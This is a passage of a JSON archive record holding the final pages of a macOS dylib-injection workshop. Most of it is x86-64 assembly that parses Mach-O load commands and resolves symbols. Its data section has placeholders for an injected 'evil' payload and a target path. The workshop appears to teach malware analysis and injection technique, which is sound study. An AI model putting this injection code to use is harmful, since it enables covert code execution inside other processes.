mov [rsp+0], r8 ; symtab = symtab_command\r\n.rscontinue:\r\n cmp edx, 0x19 ; LC_SEGMENT_64\r\n jne .rscontinue2\r\n mov [rsp+0x8], r8 ; segment_command_64 sc\r\n mov r11, r8 ; sc\r\n mov rdx, [r8+0xA] ; lc-\u003esegname\r\n cmp edx, 0x4b4e494c ; \"LINK\"\r\n jne .case2\r\n mov [rsp+0x10], r11 ; linkedit\r\n jmp .rscontinue2\r\n.case2:\r\n cmp edx, 0x54584554 ; \"TEXT\"\r\n jne .rscontinue2\r\n mov [rsp+0x18], r11 ; text\r\n.rscontinue2:\r\n mov edx, [r8+0x4] ; lc-\u003ecmdsize\r\n add r8, rdx\r\n dec rcx\r\n cmp rcx, 0\r\n jne .rsloop\r\n mov r12, [rsp+0x10]\r\n cmp r12, 0 ; if linkedit == 0 ; return -1\r\n jne .getvaddr\r\n mov rax, -1\r\n add rsp, 0xB0\r\n pop rbp\r\n ret\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 18 of 20\n\n.getvaddr:\r\n xor r12, r12\r\n xor r13, r13\r\n xor r14, r14\r\n xor rdx, rdx\r\n xor rdi, rdi\r\n xor rbx, rbx\r\n ; unsigned long file_slide = linkedit-\u003evmaddr - text-\u003evmaddr - linkedit-\u003efileoff;\r\n mov r12, [rsp+0x10] ; linkedit\r\n mov r12d, [r12+0x18] ; linkedit-\u003evmaddr\r\n mov r13, [rsp+0x18] ; text\r\n mov r13d, [r13+0x18] ; text-\u003evmaddr\r\n mov r14, [rsp+0x10] ; linkedit\r\n mov r14d, [r14+0x28] ; linkedit-\u003efileoff\r\n sub r12, r13\r\n sub r12, r14\r\n mov [rsp+0x20], r12 ; file_slide\r\n mov rbx, [rsp+0x30] ; base\r\n add rbx, r12 ; base + file_slide\r\n mov rdx, [rsp+0] ; symtab\r\n mov edi, [rdx+0x10] ; symtab-\u003estroff\r\n add rbx, rdi ; strtab = (char *)(base + file_slide + symtab-\u003estroff);\r\n mov [rsp+0x40], rbx ; nl\r\n mov rdx, [rsp+0] ; symtab\r\n xor rax, rax\r\n mov eax, [rdx+0xC] ; symtab-\u003ensyms\r\n sub rax, 1\r\n xor r8, r8\r\n ; nl = (struct nlist_64 *)(base + file_slide + symtab-\u003esymoff);\r\n mov rbx, [rsp+0x30] ; base\r\n mov r8d, [rdx+0x8] ; symtab-\u003esymoff\r\n add r8, r12\r\n add r8, rbx ; nl\r\n mov rcx, 0 ; int i = 0\r\n.gvloop:\r\n mov rdi, [rsp+0x40] ; strtab\r\n mov r11d, [r8+rcx*8] ; nl[i].n_un.n_strx\r\n add rdi, r11 ; char *name = strtab + nl[i].n_un.n_strx;\r\n xor r13, r13\r\n mov r13d, [rsp+0x38] ; offset\r\n mov r14d, [rsp+0x28] ; targetSymbol\r\n add rdi, r13\r\n mov r13d, [rdi]\r\n cmp r13d, r14d\r\n jne .gvcontinue\r\n lea r11, [r8+rcx*8]\r\n mov r11, [r11+0x8] ; nl[i].n_value\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 19 of 20\n\nadd rbx, r11 ; base + nl[i].n_value\r\n mov rax, rbx\r\n add rsp, 0xB0\r\n pop rbp\r\n ret\r\n.gvcontinue:\r\n inc rcx\r\n cmp rcx, rax\r\n jl .gvloop\r\n mov rax, -1\r\n add rsp, 0xB0\r\n pop rbp\r\n ret\r\n section .data\r\n targetOffset: dq 0xFFFFFFFF ; TODO: Change to reflect the offset of the dylib bytes\r\n targetSize: dq 0xFFFFFFFF; TODO: Change to reflect the size of the dylib i.e. 0x27C000\r\n targetEntry: dq 0xFFFFFFFF ; TODO: Change to point to the target export function of the dylib\r\n payloadName: db \"evil\", 0x00\r\n targetName: db \"123\", 0x00 ; TODO: change name to target Mach-o path\r\nSource: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 20 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://malwareunicorn.org/workshops/macos_dylib_injection.html#5"
	],
	"report_names": [
		"macos_dylib_injection.html#5"
	],
	"threat_actors": [],
	"ts_created_at": 1775438947,
	"ts_updated_at": 1775791310,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/893c1fb640568e79407efb9b9224200f378323f8.pdf",
		"text": "https://archive.orkl.eu/893c1fb640568e79407efb9b9224200f378323f8.txt",
		"img": "https://archive.orkl.eu/893c1fb640568e79407efb9b9224200f378323f8.jpg"
	}
}